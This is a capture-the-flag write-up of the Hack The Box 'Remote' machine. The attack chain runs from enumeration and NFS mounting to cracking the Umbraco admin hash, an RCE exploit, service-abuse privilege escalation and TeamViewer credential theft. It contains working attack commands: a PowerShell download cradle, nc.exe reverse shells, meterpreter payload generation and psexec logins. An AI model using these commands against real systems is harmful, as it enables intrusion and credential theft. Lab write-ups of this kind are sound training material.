

Remote - HTB

Saturday, June 20, 2020 15:47

So I am having a go at the Remote box which is a raised difficulty from what I am used to, but it's really fun.
Nmap

```
Host is up (0.22s latency).
Not shown: 993 closed ports
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            Microsoft ftpd
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_sslv2-drown:
80/tcp    open  http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-aspnet-debug: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-enum:
|_ /blog/: Blog
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
111/tcp   open  rpcbind        2-4 (RPC #100000)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_rpcinfo:
  program version  port/proto  service
  100000  2,3,4      111/tcp     rpcbind
  100000  2,3,4      111/tcp6    rpcbind
  100000  2,3,4      111/udp     rpcbind
  100000  2,3,4      111/udp6    rpcbind
  100003  2,3        2049/udp    nfs
  100003  2,3        2049/udp6   nfs
  100003  2,3,4      2049/tcp    nfs
  100003  2,3,4      2049/tcp6   nfs
  100005  1,2,3      2049/tcp    mountd
  100005  1,2,3      2049/tcp6   mountd
  100005  1,2,3      2049/udp    mountd
  100005  1,2,3      2049/udp6   mountd
  100021  1,2,3,4    2049/tcp    nlockmgr
```

```
  100000  2,3,4      111/tcp     rpcbind
  100000  2,3,4      111/tcp6    rpcbind
  100000  2,3,4      111/udp     rpcbind
  100000  2,3,4      111/udp6    rpcbind
  100003  2,3        2049/udp    nfs
  100003  2,3        2049/udp6   nfs
  100003  2,3,4      2049/tcp    nfs
  100003  2,3,4      2049/tcp6   nfs
  100005  1,2,3      2049/tcp    mountd
  100005  1,2,3      2049/tcp6   mountd
  100005  1,2,3      2049/udp    mountd
  100005  1,2,3      2049/udp6   mountd
  100021  1,2,3,4    2049/tcp    nlockmgr
  100021  1,2,3,4    2049/tcp6   nlockmgr
  100021  1,2,3,4    2049/udp    nlockmgr
  100021  1,2,3,4    2049/udp6   nlockmgr
  100024  1          2049/tcp    status
  100024  1          2049/tcp6   status
  100024  1          2049/udp    status
  100024  1          2049/udp6   status
|_ 135/tcp   open  msrpc          Microsoft Windows RPC
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_ 139/tcp   open  netbios-ssn    Microsoft Windows netbios-ssn
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_ 445/tcp   open  microsoft-ds?
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
2049/tcp   open  mountd         1-3 (RPC #100005)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
No exact OS matches for host (If you know what OS is running on
TCP/IP fingerprint:
```

We see ports 80, 21 and 111 (rpc) open. Nmap does a script scan as well and lists all the ports that rpc uses. I see an nfs.

This might lead to a RPC nfs vulnerability where I can mount the harddrive on my own machine to access its content.

I follow a small guide: https://www.computersecuritystudent.com/SECURITY_TOOLS/METASPLOITABLE/EXPLOIT/lesson4/index.html

This guide basically shows how to exploit a RPC vulnerability and then taking control through the ssh server by generating ssh keys and uploading the public key onto the server, thus enabling the attacker to gain access, in his case it is root.

Anyway, I use the command showmount -e 10.10.10.180

```
root@syb:~# showmount -e 10.10.10.180
*st for 10.10.10.180:
/site_backups (everyone)
root@syb:~# |
```

This means I can mount /site_backups onto /mnt/

I run: mount -t nfs 10.10.10.180:/site_backups /mnt/ -o nolock

Next I was digging through all the files so I could find something interesting.

I found a log file that logged a login from admin@htb.local - my first username.
 Now for the password.
 I found Umbraco.sdf.
 A little google search suggested that the .sdf extension is some kind of a database file extension.

I used strings to show its content:

strings Umbraco.sdf

```
K*0U
L%0U
Jv@B
LE*]
uEd^m2wr
{Ezm
#kNb
{Ezm
#kNb
{Ezm
#kNb
>1=@;P9^7p5
%@X
4=Kt
E`ED
YKL0
Ed^m2wr
A:1
2J!T
Es5!
#kNb
#kNb
#kNb
ALu<gb
tqt!t
jqj!j
cqc!c
[q[ Z
SqS!S
LqL!L
FpE!E
>q> =
7q7!7
```

A lot of useless gibberish.

How about

strings Umbraco.sdf | grep admin

This should grab and retrieve any line that contains the string 'admin'.

It still outputted shitloads of data but I managed to find something interesting.

```
adminadmin@htb.localb8be16afb8c314ad33d812f22a04991b90e2aaa
```

admin@htb.local is our username and the latter seems like a hash.

While doing Blunder box I found an interesting tool that could identify any hash and decrypt it.

The decrypted hash results to 'baconandcheese' which is the administrator's password.

I use it to log-in into the admin interface of <http://10.10.10.180/umbraco> (this link redirects to a login page. I found it through another link from the contact page)

It is correct.

Thought process:

This is not php so I can't upload a php reverse shell. What do I do?

Googling Umbraco RCE gave me a few exploits to try out.

<https://github.com/noraj/Umbraco-RCE>

I learned a new trick with metasploit.

I was always curious on how to 'hijack' a shell session with metasploit and I got a small solution.

>Fire up metasploit framework

>Type in use multi/handler

>set payload payload/windows/x64/shell_reverse_tcp

>set LHOST <myip>

>set LPORT <desiredLPORT>

>set ExitOnSession false

>>exploit -j

Basically this opens a listener on metasploit that will tell me if a connection has been received.

This is really useful to get right on track if a crash happens. It is sometimes hard for me to retrace steps since I write the writeup in the end. A thing I should fix.

Instead of setting up netcat each time when shit happens, now I have an automatically configured metasploit listener. Just drop into the session whenever it is initiated and shell away.

The following is an http remote code execution proof of concept:

I use this exploit to run powershell from the victim machine and download shell.ps1 from a python hosted server on my kali.

```
root@syb:~/Umbraco-RCE# python3 exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c power
shell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.93/shell.ps1')"
```

```

Ncat: version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.180.
Ncat: Connection from 10.10.10.180:49705.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>

```

So I have my metasploit listener intact and I get a basic user shell! I get down to the c:\users\public and get the user.txt flag.

Fun fact, there's a metasploit module called rpcbomb which is a DoS exploit for this exact rpc.

It was quite amusing sending the pings and then see them drop because of the rpcbomb

Moving onwards to the priv esc part. This part was insanely hard for me, I missed some important stuff and I even admit that I acted like a skid out of frustration. The following explanation and analysis is redemption for that.

I gave up when I was tired and moved onto a write-up.

In that write-up the attacker used a tool named PowerUp.ps1 which is a part of PowerSploit toolkit.

<https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc>

From here the only thing I need is the PowerUp.ps1, a powershell script.

I'm going to need to upload it to the server in order to use its vulnerability enumeration techniques.

It is out of the question that I'm going to download it to a place where I can modify files (read and write).

```

c:\windows\system32\inetsrv>cd c:\users\public
c:\Users\Public>

```

```

c:\Users\Public>whoami
iis apppool\defaultapppool
c:\Users\Public>

```

```

c:\Users\Public>powershell.exe -exec bypass
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Public>

```

Dropping into powershell because I can download files over the web easily with it.

-exec bypass is to enter some kind of a privileged shell:

Per the comments, there should be no particular difference with how these execution policies behave. However `Bypass` is intended to be used when you are temporarily changing the execution policy during a single run of `Powershell.exe`, where as `Unrestricted` is intended to be used if you wish to permanently change the setting for the execution policy for one of the system scopes (MachinePolicy, UserPolicy, Process, CurrentUser, LocalMachine).

Some examples:

1. You are on a system where you want to change the execution policy to be permanently unrestricted so that any user could run any PowerShell script without issue. You would run:

```
Set-ExecutionPolicy Unrestricted
```

2. You are on a system where the execution policy blocks your script but you want to run it via PowerShell and ignore the execution policy when run. You would run:

```
powershell.exe .\yourscript.ps1 -executionpolicy bypass
```

3. You run Powershell.exe on a system where the execution policy blocks the execution of scripts, but you want to change the policy just for the life of the interactive powershell.exe session you are in. You would run:

```
Set-ExecutionPolicy Bypass -Scope Process
```

Continuing with getting PowerUp.ps1 from my python http server.

```
PS C:\Users\Public> invoke-webrequest -uri http://10.10.14.35/PowerUp.ps1 -outfile powerup.ps1
```

This will save PowerUp.ps1 as powerup.ps1 for convenience reasons, in c:\users\public.

```

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.180 - - [22/Jun/2020 09:19:07] "GET /shell.ps1 HTTP/1.1" 200 -
10.10.10.180 - - [22/Jun/2020 09:29:23] "GET /PowerUp.ps1 HTTP/1.1" 200 -

```

```
PS C:\Users\Public> ls
```

```

Directory: C:\Users\Public

Mode                LastWriteTime         Length Name
----                -
d-r-----         2/19/2020   3:03 PM             Documents
d-r-----         9/15/2018   3:19 AM             Downloads
d-----        6/22/2020   8:17 AM             Microsoft
d-r-----         9/15/2018   3:19 AM             Music
d-r-----         9/15/2018   3:19 AM             Pictures
d-r-----         9/15/2018   3:19 AM             Videos
-a-----        6/22/2020   9:31 AM      562380 powerup.ps1
-ar-----        6/22/2020   7:59 AM           34 user.txt

```

Import the powerup module to use its functions

```
PS C:\Users\Public> import-module .\powerup.ps1
```

Running invoke-allchecks to assess which vulnerabilities are available for local priv esc

```

PS C:\Users\Public> invoke-allchecks

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges ...
|

```

I get a hit on something

```

[*] Checking service permissions ...

ServiceName      : UsoSvc
Path              : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName         : LocalSystem
AbuseFunction      : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart       : True

```

Powerup found that UsoSvc is a vulnerable service that I can abuse to run a command of some kind.

The default to happen when executing "Invoke-ServiceAbuse -Name 'UsoSvc'" is to add a user names john with some password.

I want it to execute a shell back to me, I don't care about John ;)

This service is being executed with admin privileges, if I am able to send back a shell through this service using its privs, it will give me an admin shell.

Let's try.

Get nc.exe to the victim machine:

Invoke-webrequest -uri http://10.10.14.35/nc.exe -outfile nc.exe

Invoke-serviceabuse -name usosvc -command "c:\users\public\nc.exe 10.10.14.35 6969 -e cmd.exe"

Great description about Invoke-ServiceAbuse:

SYNTAX

```
Invoke-ServiceAbuse [-Name] <String[]> [-UserName <String>] [-Password <String>] [-LocalGroup <String>] [-Credential <PSCredential>] [-Command <String>] [-Force]
```

DESCRIPTION

Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current user has configuration modification rights on and executes a series of automated actions to execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the original service binary path and configuration state are preserved. Then the service is stopped and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a series of commands, the service is started, stopped, and the next command is configured. After completion, the original service configuration is restored and a custom object is returned that captures the service abused and commands run.

```

PS C:\Users\Public> Invoke-serviceabuse -name usosvc -command "c:\users\public\nc.exe 10.10.14.35 6969 -e cmd.exe"

ServiceAbused Command
-----
usosvc           c:\users\public\nc.exe 10.10.14.35 6969 -e cmd.exe

```

So it worked...right? NO!

HELL NO!

I spent 15 hours on this and couldn't quite get it.

This is my breakpoint.


```

ModifiableFile           : C:\users\public
ModifiableFilePermissions : {Delete, WriteAttributes, Synchronize, ReadControl ... }
ModifiableFileIdentityReference : NT AUTHORITY\SERVICE
StartName                 : LocalSystem
AbuseFunction              : Install-ServiceBinary -Name 'UsoSvc'
CanRestart                : True

ServiceName               : UsoSvc
Path                      : c:\users\public
ModifiableFile           : C:\users\public
ModifiableFilePermissions : {Synchronize, ReadControl, ReadData/ListDirectory, AppendData/AddSubdirectory ... }
ModifiableFileIdentityReference : NT AUTHORITY\SERVICE
StartName                 : LocalSystem
AbuseFunction              : Install-ServiceBinary -Name 'UsoSvc'
CanRestart                : True

```

A new find!

What else?

```

[*] Checking service permissions ...

ServiceName : UsoSvc
Path        : c:\users\public
StartName   : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart  : True

```

The path changed!

Previous invoke-allchecks execution:

```

[*] Checking service permissions ...

ServiceName : UsoSvc
Path        : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName   : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart  : True

```

See the difference in the paths.

Abuse away

```

PS C:\Users\Public> invoke-serviceabuse -name usosvc -command "c:\users\public\nc.exe 10.10.14.35 6969 -e cmd.exe"

```

```

Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::6969
Ncat: Listening on 0.0.0.0:6969
Ncat: Connection from 10.10.10.180.
Ncat: Connection from 10.10.10.180:49721.
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

```

```

YEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
#rooted.

```

I came to realize that this shell is not stable at all, crashes all the time and forces me to invoke-serviceabuse too many times.

How about getting a more stable shell?

How about getting root in a different way?

I like the latter.

Going through the running processes I encounter a TeamViewer_Service process. Which probably means I can do something to it, since it is a remote administration tool.

```

1012    24    5684    19384    21.36    2916    0 TeamViewer_Service
178     12    3216    10328     0.08    3000    0 VGAuthService
122     8     1568     6400     0.00    1364    0 vmacthlp
302     21    5676    18460    16.73    2908    0 vmtoolsd
1412    127   242520   242856   192.78   4104    0 w3wp
175     11    1496     6812     0.58    488     0 wininit
254     12    2740    13920     4.55    560     1 winlogon
442     18    10152   20980    30.70   4720    0 WmiPrvSE

```

I fire up metasploit and search for a teamviewer exploit

```

msf5 > search teamviewer

Matching Modules
=====
#  Name                                                                 Disclosure Date  Rank  Check  Description
-  -
0  post/windows/gather/credentials/teamviewer_passwords              normal        No     Windows Gather Teamviewer Passwords

```

A password gatherer? Interesting.

```
msf5 post(windows/gather/credentials/teamviewer_passwords) > show options

Module options (post/windows/gather/credentials/teamviewer_passwords):

  Name      Current Setting  Required  Description
  ----      -
  SESSION   TeamViewer       yes       The session to run this module on.
  WINDOW_TITLE  TeamViewer       no        Specify a title for getting the window handle, e.g. TeamViewer
```

To use this without msf, I can find the exploit online and upload it to the victim and execute it locally, yes.

But how about practicing metasploit a little bit? I am really hoping to have a professional user someday, so I need to get familiar with it.

So first, I set up a metasploit listener on port 4444.

```
msf5 exploit(multi/handler) > set LHOST 10.10.14.35
LHOST => 10.10.14.35
msf5 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.35:4444
msf5 exploit(multi/handler) > |
```

With this, it will actively listen on port 4444 for incoming connections and for every new connection, it will create a separate session. Allowing me to be diverse.

Now I need some shell so if I'm already practicing msf (and because otherwise it won't work), I need to create a reverse_tcp shell.exe so the exploitation would work.

This module is incompatible with anything else than a reverse_tcp shell.exe. At least from my own understanding.

Anyway, creating shell.exe.

```
msf5 payload(windows/meterpreter/reverse_tcp) > show options

Module options (payload/windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  process         yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.10.14.35     yes       The listen address (an interface may be specified)
  LPORT     4444            yes       The listen port

msf5 payload(windows/meterpreter/reverse_tcp) > set LHOST 10.10.14.35
LHOST => 10.10.14.35
msf5 payload(windows/meterpreter/reverse_tcp) > generate -f exe -o shelldon.exe
[*] Writing 73802 bytes to shelldon.exe...
msf5 payload(windows/meterpreter/reverse_tcp) > |
```

This generated shelldon.exe and saved it under /root/

Upload it to victim machine:

```
PS C:\Users\Public> invoke-webrequest -uri http://10.10.14.35/shelldon.exe -outfile shelldon.exe
PS C:\Users\Public> ls

Directory: C:\Users\Public

Mode                LastWriteTime         Length Name
----                -
d-r-----         2/19/2020   3:03 PM             Documents
d-r-----         9/15/2018   3:19 AM             Downloads
d-----         6/22/2020  11:18 AM             Microsoft
d-r-----         9/15/2018   3:19 AM             Music
d-r-----         9/15/2018   3:19 AM             Pictures
d-r-----         9/15/2018   3:19 AM             Videos
-a-----         6/22/2020  11:18 AM       73802 shelldon.exe
-ar-----         6/22/2020  11:16 AM         34 user.txt

PS C:\Users\Public> cmd.exe
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\Public> shelldon.exe
[*] Command shell session 5 opened (10.10.14.35:4444 -> 10.10.10.180:49687) at 2020-06-22 11:16:59 -0400

C:\Users\Public> ^Z
Background session 4? [y/N] y
msf5 exploit(multi/handler) > |
```

And basically what should happen is that I return to the teamviewer module and set SESSION 5.

- Run

This will look for any unattended passwords and boom:

```
!R3m0te!
```

It did not work for some reason so I am giving up, going to give it a go tomorrow.

Tomorrow:

Got it to work!

It had an incompatibility with the meterpreter and the problem was on the msf listener.

I compiled a reverse_tcp payload (not x64!) and sent it to the server.

From there I was testing different types of listeners.

The problem I had was probably the version of the listener (32 bit, 64 bit) and what I didn't know is that if I am choosing a 32-bit meterpreter listener, my generated payload should be meterpreter/reverse_tcp as well, or else it won't work with the teamviewer msf module.

So if I am using a meterpreter listener, I should set my payload as a meterpreter/reverse_tcp.

```
msf5 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

  Name  Current Setting  Required  Description
  ----  -
  LURI   LURI              false     Local URI to connect back.

Payload options (windows/meterpreter/reverse_tcp):

  Name  Current Setting  Required  Description
  ----  -
  LURI   LURI              false     Local URI to connect back.

msf5 post(windows/gather/credentials/teamviewer_passwords) > run

[*] Finding TeamViewer Passwords on REMOTE
[*] Found Unattended Password: !R3m0te!

[*] Passwords stored in: /root/.msf4/loot/20200623025130_default_10.10.10.180_host.teamviewer_838122.txt
[*] <----- | Using Window Technique | ----->
[*] TeamViewer's language setting options are ''
[*] TeamViewer's version is ''
[-] Unable to find TeamViewer's process
[*] Post module execution completed
msf5 post(windows/gather/credentials/teamviewer_passwords) >
```

This is the password for the teamviewer account, what if they reused it? This happens.

```
root@syb:~# psexec.py Administrator@10.10.10.180
Impacket v0.9.22.dev1+20200428.191254.96c7a512 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.180.....
[*] Found writable share ADMIN$
[*] Uploading file vJmqobSX.exe
[*] Opening SVCManager on 10.10.10.180.....
[*] Creating service GDJN on 10.10.10.180.....
[*] Starting service GDJN.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```

#rooted.

Again.

With persistence.